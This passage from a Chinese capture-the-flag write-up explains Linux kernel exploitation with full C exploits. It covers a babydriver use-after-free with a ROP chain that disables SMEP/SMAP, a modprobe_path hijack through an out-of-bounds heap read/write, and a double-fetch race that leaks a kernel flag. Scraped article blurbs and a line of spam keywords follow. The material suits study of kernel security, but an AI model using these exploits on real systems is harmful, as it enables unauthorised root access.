        int fd3 = open("/dev/ptmx", O_RDWR|O_NOCTTY);    size_t fake_tty_operation[0x20] = {                    0xffffffff00000000,                    0xffffffff00000001,                    0xffffffff00000002,                    0xffffffff00000003,                    0xffffffff00000004,                    0xffffffff00000005,                    0xffffffff00000006,                    0xffffffff00000007,                    0xffffffff00000008,                    0xffffffff00000009,                    0xffffffff0000000a,                    0xffffffff0000000b,                    0xffffffff0000000c            };    /*    fake_tty_operation[0] = 0xffffffff8100ce6e; // pop rax; ret;    fake_tty_operation[1] = rop[0];    for(int j=2;j<5;j++)        fake_tty_operation[j] = 0xffffffff8100ce6f; // ret;    fake_tty_operation[5] = 0xffffffff8105c144;  // pop rbx; ret;    fake_tty_operation[6] = 0xffff880006f31c00;    */    for(int j=0;j<5;j++)        fake_tty_operation[j] = rop[j];    fake_tty_operation[5] = 0xffffffff8100ce6f; // ret;    for(int j=6;j<14;j++)        fake_tty_operation[j] = rop[j-1];
        fake_tty_operation[7] = 0xffffffff8181bfc5; // mov rsp, rax; dec ebx; ret;
        size_t fake_tty_struct[4] = {0};    read(fd2, fake_tty_struct, 32);    fake_tty_struct[3] = (size_t)fake_tty_operation; // hijack *ops    write(fd2, fake_tty_struct, 32);
        char buf[0x10] = {0};    write(fd3, buf, 0x8);  // tty_operation -> write    return 0;}
    

    RE: REsolve: babydriver (msg_msg + seq_file + pt_regs + ret2usr)

    分析

    大多數情況下,smep和smap都是同時出現的,那么之前那個攻擊方式就有欠缺了些許味道。(畢竟偽造的tty_operation還是位于用戶態,所以并不能抗住smap這個機制)

    所以我又腦子一熱,將啟動腳本修改如下(加入了smap):

    qemu-system-x86_64 \    -initrd rootfs.cpio \    -kernel bzImage \    -append 'console=ttyS0 root=/dev/ram nopti oops=panic panic=1' \    -enable-kvm -monitor /dev/null -m 256M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep,+smap \    -no-reboot \    -s
    

    思路其實和之前差不多,利用某些方式劫持到程序流之后棧遷到rop就行,只不過rop需要想辦法構造在DMA區域中了。

    為了學習盡可能多的trick,我使用了一種比較曲折的方式來達成利用。

    過程可以大致分為以下幾步:

    利用本題漏洞,造一個0x1000大小的uaf,開一個0x1100的msg_msg結構體(前0x1000的msg_msg內容任意,后面掛著的0x100的msg_msgseg用于布置rop),利用uaf leak出msg_msg中指向msg_msgseg的指針,得到rop地址。

    再造一個0x18大小的uaf,打開/proc/self/stat創建出seq_file,uaf捕獲到seq_operations。這樣就能利用read(seq_fd, $rsp, 8)觸發seq_operations->start指針的任意執行了。

    先使用add rsp, val這類gadgets來讓rsp走到pt_regs中,從而再利用pop rsp; ret這樣的gadget實現棧遷移。(由于沒有找到合適的一次性把rsp add到pt_regs的gadget,所以在exp使用了二段跳)

    exp

    #define _GNU_SOURCE#include #include #include #include #include #include #include #include #include #include 
    #include #include #include #include 
    #include 
    int dev_fd[2], seq_fd;const char *dev_name = "/dev/babydev";
    size_t commit_creds = 0xffffffff810a1420;size_t prepare_kernel_cred = 0xffffffff810a1810;size_t rop_addr;
    size_t usr_cs, usr_rflags, usr_rsp, usr_ss;void save_status(){    __asm__(        "mov usr_cs, cs;"        "pushf;"        "pop usr_rflags;"        "mov usr_rsp, rsp;"        "mov usr_ss, ss;"    );}
    void get_root(){    char* (*pkc)(int) = prepare_kernel_cred;    void* (*cc)(char*) = commit_creds;    (*cc)((*pkc)(0));}
    void get_root_shell(){    if (getuid()!=0) {        puts("[-] get root failed.");        exit(-1);    }    system("/bin/sh");}
    void build_rop(size_t *rop, int offset){    int i = offset;    rop[i++] = 0xffffffff810d238d; // pop rdi; ret;    rop[i++] = 0x6f0; // bypass smep&smap    rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;    rop[i++] = 0;    rop[i++] = (size_t)get_root;  // ret2usr    rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;    rop[i++] = ((size_t)&i);    rop[i++] = 0xffffffff814e35ef; // iretq; ret;    rop[i++] = (size_t)get_root_shell; // rip    rop[i++] = usr_cs;    rop[i++] = usr_rflags;    rop[i++] = usr_rsp;    rop[i++] = usr_ss;}
    int getMsgQueue(void){    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);}
    int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp){    return msgrcv(msqid, msgp, msgsz, msgtyp, IPC_NOWAIT|MSG_NOERROR);}
    int writeMsg(int msqid, void *msgp, size_t msgsz){    return msgsnd(msqid, msgp, msgsz, 0);}
    int main(){    save_status();    signal(11, (size_t)get_root_shell);
        int qid = getMsgQueue();    if (qid == -1) {        fprintf(stderr, "[-] msg_queue");        exit(-1);    }
        dev_fd[0] = open(dev_name, O_RDWR);    if (dev_fd[0] == -1) {        fprintf(stderr, "[-] open %s failed.(1)", dev_name);        exit(-1);    }
        dev_fd[1] = open(dev_name, O_RDWR);    if (dev_fd[1] == -1) {        fprintf(stderr, "[-] open %s failed.(2)", dev_name);        exit(-1);    }
        char *buffer_send = malloc(0x4000);    char *buffer_recv = malloc(0x4000);    memset(buffer_send, 0x61, 0x4000);
        build_rop((size_t *)buffer_send, ((0x1000-0x30)>>3)+1);
        ioctl(dev_fd[0], 0x10001, 0x1000);    close(dev_fd[0]);
        int cnt = 1;    for (int i = 0; i < cnt; ++i) {        if (writeMsg(qid, buffer_send, 0x1100-0x38) < 0)            fprintf(stderr, "[-] msg_msg");        else            puts("[+] msg_msg");    }
        read(dev_fd[1], buffer_recv, 0x40);    puts("Partial leak:");    for (int i = 0; i < 8; ) {        printf("[+] %016lx %016lx", ((size_t *)buffer_recv)[i], ((size_t *)buffer_recv)[i+1]);        i += 2;    }    rop_addr = ((size_t *)buffer_recv)[4] + 0x8;    printf("[+] rop_addr: 0x%lx", rop_addr);    printf("[+] buffer_send: 0x%lx", buffer_send);
        dev_fd[0] = open(dev_name, O_RDWR);    if (dev_fd[0] == -1) {        fprintf(stderr, "[-] open %s failed.(3)", dev_name);        exit(-1);    }    ioctl(dev_fd[0], 0x10001, 0x18);    close(dev_fd[0]);
        seq_fd = open("/proc/self/stat", O_RDONLY);    if (seq_fd == -1) {        puts("[-] failed in opening seq_fd.");        exit(-1);    }
        // getchar();
        size_t ptr = 0xffffffff8151a3a5;  // add rsp, 0x148; pop rbx; pop r12; pop r13; pop rbp; ret;    write(dev_fd[1], (char *)&ptr, 0x8);
        __asm__(        "mov r15,   0xffffffff8100006f;"  // ret;           "mov r14,   0xffffffff81183478;"  // add rsp, 0x40; pop rbx; pop rbp; ret;           "mov r13,   0xffffffff8100006f;"           "mov r12,   0xffffffff8100006f;"           "mov rbp,   0xffffffff8100006f;"           "mov rbx,   0xffffffff8100006f;"           "mov r11,   0xffffffff8100006f;"           "mov r10,   0xffffffff8100006f;"           "mov r9,    0xffffffff81171045;"  // pop rsp; ret;           "mov r8,    rop_addr;"           "xor rax,   rax;"           "xor rdi,   rdi;"           "mov rcx,   0xdeadbeef;"           "mov rdx,   8;"           "mov rsi,   rsp;"           "mov rdi,   seq_fd;"           "syscall"               // read(seq_fd, $rsp, 8);    );
        // getchar();
        return 0;}
    

    Hijack modprobe_path

    他和poweroff_cmd, uevent_helper, ocfs2_hb_ctl_path, nfs_cache_getent_prog, cltrack_prog這些變量類似,都是call_usermodehelper類型的trick。

    只需要劫持一個字符串,就能用root權限執行任意命令。(但是這個命令往往是不可以交互的)

    以modprobe_path為例在劫持了對應字符串為/tmp/a.sh之后,只需要運行一個非正確的ELF文件即可觸發。

    system("echo -ne '\\xff\\xff\\xff\\xff' >> /tmp/dummy");system("echo '#!/bin/shchmod 777 /flag' >> /tmp/a.sh");system("chmod 777 /tmp/dummy; chmod 777 /tmp/a.sh");
    system("/tmp/dummy");
    

    rwOnTheHeap

    分析

    checksec只開了NX

    關鍵函數如下:

    __int64 procfile_open(){  _QWORD *v0; // rax
      _fentry__();  v0 = (_QWORD *)kmem_cache_alloc_trace(kmalloc_caches[10], 3264LL, 1024LL);  *v0 = v0;  procfs_buffer = (__int64)v0;  return _x86_return_thunk(0LL, 0LL, 0LL);}
    __int64 __fastcall procfile_write(__int64 a1, __int64 a2){  _fentry__();  if ( !copy_from_user(&request_t, a2, 16LL) )    *(_QWORD *)(procfs_buffer + *(&request_t + 1)) = request_t;  return _x86_return_thunk(0LL, 0LL, 0LL);}
    __int64 __fastcall procfile_read(__int64 a1, __int64 a2){  _fentry__();  if ( !copy_from_user(&request_t, a2, 16LL) )  {    request_t = *(_QWORD *)(procfs_buffer + *(&request_t + 1));    copy_to_user(a2, &request_t, 16LL);  }  return _x86_return_thunk(0LL, 0LL, 0LL);}
    

    非常直觀的dma中越界讀寫漏洞。(值得一提的是,越界的地址范圍多達8字節,這已經可以任意位置讀寫了)

    不難想到,只需要leak出kernel的text段地址即可直接越界修改modprobe_path達成利用。

    在leak的時候我使用的方法是:

    構造若干個msg_msg和msg_msgseg,在一個msg_queue上掛著0x400的msg_msg,指向0x1000的msg_msg,再指向0x20的msg_msgseg。然后再開一個shm_file_data(0x20)。

    通過越界讀,在procfs_buffer附近4個內存頁中搜索0x400的msg_msg,從他的雙鏈表找到0x1000的msg_msg的位置,再通過0x1000的msg_msg leak出0x20的msg_msgseg的地址。

    這時就又能通過越界讀,在0x20的msg_msgseg附近的3個內存頁中搜索到shm_file_data,從而得到kernel的text段地址,計算出modprobe_path的位置,達成利用。

    exp

    #include #include #include #include #include #include #include #include #include 
    #include #include #include #include 
    size_t buf[2];
    int fd1, fd2;
    void read_from_heap(int fd, size_t offset) {    buf[1] = offset;    read(fd, buf, 0x10);}
    void write_to_heap(int fd, size_t value, size_t offset) {    buf[0] = value;    buf[1] = offset;    write(fd, buf, offset);}
    int main() {    fd1 = open("/proc/vuln", O_RDWR);    if(fd1 == -1) {        printf("[-] open device error.");        exit(-1);    }    printf("[+] fd: %d", fd1);
        read_from_heap(fd1, 0);    uint64_t procfs_buffer = buf[0];    printf("[+] buffer addr: %lx", procfs_buffer);
        char *buffer = malloc(0x4000);    memset(buffer, 0x61, 0x400);    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);    msgsnd(qid, buffer, 0x400-0x30, 0);
        memset(buffer, 0x62, 0x2000);    msgsnd(qid, buffer, 0x1020-0x38, 0);  // 0x1000 + 0x20
        int shmid = shmget(IPC_PRIVATE, 100, 0600); // 0x20 -> shm_file_data -> leak    if(shmid == -1) {        puts("[-] shmget error!");        exit(-1);    }    char *shaddr = shmat(shmid, NULL, 0);    if(shaddr == (void *)-1) {        puts("[-] shmattr error!");        exit(-1);    }
        // search msg_msg (0x400) in recent 4 pages    int cur = -0x2000, tail = 0x2000;    uint64_t msg_msg_1024 = 0;    for(; cur <= tail; cur+=0x10) {        read_from_heap(fd1, cur);        //printf("%016lx %016lx", buf[0], buf[1]);        if(buf[0]==0x6161616161616161) {            read_from_heap(fd1, cur-0x10);            msg_msg_1024 = buf[0];
                printf("[+] msg_msg_1024: %lx", msg_msg_1024);            break;        }    }    if(!msg_msg_1024) {        puts("[-] failed in searching msg_msg_1024");        exit(-1);    }
        read_from_heap(fd1, msg_msg_1024 + 0x20 - procfs_buffer);    uint64_t msg_msgseg = buf[0];    printf("[+] msg_msgseg: %lx", msg_msgseg);
        // search shm_file_data in recent 3 pages    cur = msg_msgseg - procfs_buffer - 0x1008, tail = cur + 0x2008;    uint64_t leak_kernel_addr = 0;    for(; cur <= tail; cur+=0x10) {        read_from_heap(fd1, cur);        //printf("[+] %016lx", buf[0]);        if(buf[0]>0xffffffff00000000) {            leak_kernel_addr = buf[0];
                printf("[+] leak_kernel_addr: %lx", leak_kernel_addr);            break;        }    }    if(!leak_kernel_addr) {        puts("[-] failed in searching leak");        exit(-1);    }
        uint64_t modprobe_path = leak_kernel_addr - 0x1da1a0;    printf("[+] modprobe_path: %lx", modprobe_path);
        // hijack modprobe_path    write_to_heap(fd1, 0x0061612f706d742f, modprobe_path - procfs_buffer);
        system("echo -ne '\\xff\\xff\\xff\\xff' >> /tmp/dummy");    system("echo '#!/bin/shchmod 777 /flag' >> /tmp/aa");    system("chmod 777 /tmp/dummy; chmod 777 /tmp/aa");
        system("/tmp/dummy");
        getchar();
        return 0;}
    

    Double fetch

    這個屬于條件競爭類的利用,在某些時候kernel第一次拿到一個值,判斷合法之后,距離使用還存在一定的窗口期,在這個期間利用條件競爭漏洞修改掉那個值,即可達成惡意目的。

    0CTF2018-final-baby

    分析

    baby_ioctl的本意就是讓你傳一個地址和長度,如果和內核中flag的內容一致的話,就可以直接打印出flag了,而且在傳參數0x6666的時候會直接白給內核態中真flag的地址。

    不過在函數_chk_range_not_ok里限制了我們傳入的flag必須在用戶態的空間之內。

    bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3){  bool v3; // cf  unsigned __int64 v4; // rdi  bool result; // al
      v3 = __CFADD__(a2, a1);  v4 = a2 + a1;  if ( v3 )    result = 1;  else    result = a3 < v4;  return result;}
    __int64 __fastcall sub_25(__int64 a1, int a2, __int64 a3){  __int64 result; // rax  int i; // [rsp+1Ch] [rbp-54h]
      if ( a2 == 0x6666 )  {    printk("Your flag is at %px! But I don't think you know it's content", flag);    result = 0LL;  }  else if ( a2 == 0x1337         && !_chk_range_not_ok(a3, 16LL, *(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 4952))         && !_chk_range_not_ok(               *(_QWORD *)a3,               *(int *)(a3 + 8),               *(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 4952))         && *(_DWORD *)(a3 + 8) == strlen(flag) )  {    for ( i = 0; i < strlen(flag); ++i )    {      if ( *(_BYTE *)(*(_QWORD *)a3 + i) != flag[i] )        return 22LL;    }    printk("Looks like the flag is not a secret anymore. So here is it %s", flag);    result = 0LL;  }  else  {    result = 14LL;  }  return result;}
    __int64 baby_ioctl(){  _fentry__();  return sub_25();}
    

    一看啟動腳本:

    qemu-system-x86_64 \-m 256M -smp 2,cores=2,threads=1  \-kernel ./vmlinuz-4.15.0-22-generic \-initrd  ./core.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \-cpu qemu64 \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic  -enable-kvm  \
    

    雙核,可能存在條件競爭類漏洞。

    聯想到double fetch的思路,可以嘗試在傳入flag地址,通過_chk_range_not_ok的檢查之后用子線程修改掉傳入的flag地址為真正的flag地址,從而讓他直接打印出flag。

    (也有一種魔鬼思路是利用mmap開出一塊地址,然后將猜測的flag放在mmap這塊空間的末位,然后利用是否造成kernel pannic來逐步爆破flag,最多只需要爆破2k+次就能成功)

    exp

    #include #include #include #include #include #include #include #include #include #include 
    #define COMPETATION_TIME 0x1000
    pthread_t competation_thread;
    char buf[0x1000];
    uint32_t attack = 1;char * real_addr;
    struct {    char * flag_addr;    uint32_t flag_len;} flag = {.flag_addr = buf, .flag_len = 33};
    void race_condition() {    while(attack) {        for(int i = 0; i < COMPETATION_TIME; ++i) {            flag.flag_addr = real_addr;        }    }}
    int main() {    int fd, addr_fd, result_fd;    fd = open("/dev/baby", O_RDWR);    ioctl(fd, 0x6666);
        system("dmesg | grep flag >./addr");    addr_fd = open("./addr", O_RDONLY);
        buf[read(addr_fd, buf, 0x100)] = '\x00';
        char *leak_flag_addr = strstr(buf, "Your flag is at ") + 0x10;    real_addr = strtoull(leak_flag_addr, leak_flag_addr + 0x10, 0x10);    printf("\033[34m[+]flag addr: 0x%llx\033[m", real_addr);
        pthread_create(&competation_thread, NULL, race_condition, NULL);
        while(attack) {        for(int i = 0; i < COMPETATION_TIME; ++i) {            flag.flag_addr = buf;            ioctl(fd, 0x1337, &flag);        }        system("dmesg | grep flag >./result");        result_fd = open("./result", O_RDONLY);
            read(result_fd, buf, 0x100);        if(strstr(buf, "flag{")) {            attack = 0;        }    }
        pthread_cancel(competation_thread);
        puts("\033[34m[+]success!\033[m");    system("dmesg | grep flag");
        return 0;}
    
    char函數open函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    disable_functionsdisable_functions是php.ini中的一個設置選項,可以用
    PHP disable_functions disable_functions是php.ini中的一個設置選項。相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。
    disable_functions是php.ini中的一個設置選項。相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。
    相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。高ini_restore()可用于恢復 PHP 環境配置參數到其初始值
    《中華人民共和國數據安全法》于2021年9月1日正式實施,在國家強化數據安全監管的大形勢下,所有企事業單位將面臨著數據安全如何合規合法這一問題。本文試圖站在操作系統角度初步提出數據安全中基于元數據重構的數據標簽解決途徑。
    對于堆的恐懼來自堆復雜的管理機制,相較于棧來說復雜太多了,再加上使用GDB調試學習堆時,每次堆分配時,調試起來相當的麻煩,所以一直都是理論學習,堆不敢碰不敢嘗試。今日小明同學終于排除了心中對堆的恐懼,在高鐵上嘗試了一下堆,熟悉了堆的分配機制。題目分析基本信息分析查看文件類型,32位,沒有去掉符號。notepad_new大致通過注釋解釋了一下分析過程,后面不再進行詳細的分析。
    從某新生賽入門PWN
    2022-11-26 16:02:34
    本文為看雪論壇優秀文章看雪論壇作者ID:bad_c0de在某平臺上看到了質量不錯的新生賽,難度也比較適宜,因此嘗試通過該比賽進行入門,也將自己所學分享給大家。賽題ezcmp賽題分析該程序的C代碼如下,因此我們只要使buff和test的前三十個字節相同即可。因此可以直接在比較處下斷點查看buff數組的值即可。#includechar buff[100];int v0;char buffff[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234";char bua[]="abcdefghijklmnopqrstuvwxyz4321";char* enccrypt{ int a; for{ a=rand(); buf[i]^=buffff[i]; buff[i]^=bua[i]; for{ buf[j]=buff[i]; buf[i]+='2'; } buf[i]-=&0xff; buf[i]+=&0xff; }}int main(){ setbuf; setbuf; setbuf; puts; char buf[]="Ayaka_nbbbbbbbbbbbbbbbbb_pluss"; strcpy; char test[30]; int v0=1; srand; enccrypt; read; if(!ezr0p64賽題分析查看保護同理可以通過rop進行繞過。
    CVE-2021-4034 pkexec 本地提權 1.漏洞編號 CVE-2021-4034 2.影響范圍 2021以前發行版 3.漏洞詳情 此漏洞exp利用流程上來說,可以分為兩個部分 1.設置惡意環境變量 2.通過惡意環境變量執行命令 3.1 設置惡意環境變量 pkexec 源碼地址 https://gitlab.freedesktop.org/polkit/polkit/-/bl
    它能夠根據類的全限定名查找并獲取類的相關信息,如父類、接口、字段、方法等。它可以讀取DEX文件中的字符串,比如類名、方法名、字段名等,并提供相關的字符串處理功能。
    一前言為了幫助更加方便的進行漏洞挖掘工作,前面我們通過了幾篇文章詳解的給大家介紹了動態調試技術、過反調試技術、Hook技術、過反Hook技術、抓包技術等,掌握了這些可以很方便的開展App漏洞挖掘工作,而最后我們還需要掌握一定的脫殼技巧,進行進一步助力我們漏洞挖掘的效率。本文第二節主要講述Android啟動流程和加殼原理。本文第三節主要介紹整體加殼的實現。本文第四節主要講當下脫殼點的概念。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类